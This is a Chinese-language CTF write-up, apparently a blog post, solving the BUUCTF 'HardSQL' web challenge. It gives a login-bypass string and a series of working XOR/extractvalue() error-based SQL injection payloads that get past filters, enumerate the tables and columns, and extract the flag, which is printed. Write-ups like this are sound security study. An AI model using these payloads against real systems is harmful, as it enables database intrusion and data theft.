• buuctf-web HardSQL 1


    这或许就是sql最终章了吧

    打开页面。

     还是这种界面,只不过是加强了一下。哈哈哈。

    然后我就还是万能密码admin' or '1' ='1 来了一手

     之后的常规注入都是出现了这种页面。有点儿意思喽。

    然后我再用联合注入啥的,都不行了,好像是都被过滤掉了。

    那我们就得想其他的途径了。百度了一手。学到了web的骚操作。

    这里需要使用异或盲注,用’^'来连接函数,形成异或

    mysql里异或运算符为^ 或者 xor
    两个同为真的条件做异或,结果为假,两个同为假的条件做异或,结果为假,一个条件为真,一个条件为假,结果为真,null与任何条件(真、假、null)做异或,结果都为null

    我们还需要用到一个函数:extractvalue()

    对XML文档进行查询的函数

    其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样

    语法:extractvalue(目标xml文档,xml路径)

    好,那我们还构造第一个Pyload:

    /check.php?username=44&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23

     即可爆出数据库。下一步,我们继续爆表名。

    不过这个网站的确是加强了,等号也被过滤掉了。这个时候我们就需要用'like'来代替等号

    pyload:

    check.php/?username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

     然后爆出字段名

    pyload:

    check.php/?username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

     继续,爆数据。

    check.php/?username=44&password=1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

    但是出来的flag却是只有一部分。然后还一个骚操作。就是利用left与right来进行字符拼接。

    check.php/?username=44&password=1%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
    check.php/?username=44&password=1%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

     

     最后拼接成的flag为:flag{dc37dde2-8b7c-4a03-a912-b11b53dd5308}

  • 相关阅读:
    MySQL服务器变量:MySQL系列之八
    存储引擎:MySQL系列之七
    用户与授权:MySQL系列之六
    视图、存储函数、存储过程、触发器:MySQL系列之五
    SQL语法:MySQL系列之四
    关系型数据库基础概念:MySQL系列之开篇
    基础篇:MySQL系列之三
    多实例:MySQL系列之二
    安装篇:MySQL系列之一
    DNS
  • 原文地址:https://www.cnblogs.com/awsole/p/13835791.html
Copyright © 2020-2023  润新知